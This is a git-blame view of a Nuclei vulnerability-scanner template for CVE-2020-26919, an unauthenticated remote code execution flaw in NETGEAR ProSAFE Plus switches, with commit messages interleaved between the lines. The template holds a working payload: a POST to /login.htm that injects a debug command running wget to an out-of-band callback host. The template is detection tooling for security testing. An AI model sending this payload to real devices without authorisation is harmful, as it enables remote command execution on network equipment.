daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/cves/2020/CVE-2020-26919.yaml

31 lines
1.2 KiB
YAML
Raw Normal View History

Create CVE-2020-26919.yaml it was found that every section of the web could be used as a valid endpoint to submit POST requests being the action defined by the submitId argument. The problem was located in the login.html webpage, that has to be publicly available to perform login requests but does not implement any restriction for executing debug actions. This will allow users execute system commands. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-15 01:54:56 +00:00
id: CVE-2020-26919
info:
Vendor writes it as "NETGEAR"
2021-08-29 06:39:06 +00:00
name: NETGEAR ProSAFE Plus - Unauthenticated Remote Code Execution
Create CVE-2020-26919.yaml it was found that every section of the web could be used as a valid endpoint to submit POST requests being the action defined by the submitId argument. The problem was located in the login.html webpage, that has to be publicly available to perform login requests but does not implement any restriction for executing debug actions. This will allow users execute system commands. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-15 01:54:56 +00:00
author: gy741
severity: critical
Updates across many templates for clarity, spelling, and grammar.
2021-09-05 21:13:45 +00:00
description: NETGEAR ProSAFE Plus was found to allow any HTML page as a valid endpoint to submit POST requests, allowing debug action via the submitId and debugCmd parameters. The problem is publicly exposed in the login.html webpage, which has to be publicly available to perform login requests but does not implement any restriction for executing debug actions. This will allow attackers to execute system commands.
Removed pipe (|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84
2021-08-18 11:37:49 +00:00
reference:
Create CVE-2020-26919.yaml it was found that every section of the web could be used as a valid endpoint to submit POST requests being the action defined by the submitId argument. The problem was located in the login.html webpage, that has to be publicly available to perform login requests but does not implement any restriction for executing debug actions. This will allow users execute system commands. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-15 01:54:56 +00:00
- https://research.nccgroup.com/2021/03/08/technical-advisory-multiple-vulnerabilities-in-netgear-prosafe-plus-jgs516pe-gs116ev2-switches/
- https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/
oob tags update
2021-10-18 20:40:26 +00:00
tags: cve,cve2020,netgear,rce,oast
Added cve annotations + severity adjustments
2021-09-10 11:26:40 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.80
cve-id: CVE-2020-26919
Create CVE-2020-26919.yaml it was found that every section of the web could be used as a valid endpoint to submit POST requests being the action defined by the submitId argument. The problem was located in the login.html webpage, that has to be publicly available to perform login requests but does not implement any restriction for executing debug actions. This will allow users execute system commands. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-15 01:54:56 +00:00
requests:
- raw:
- |
POST /login.htm HTTP/1.1
Host: {{Hostname}}
Accept: */*
submitId=debug&debugCmd=wget+http://{{interactsh-url}}&submitEnd=
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"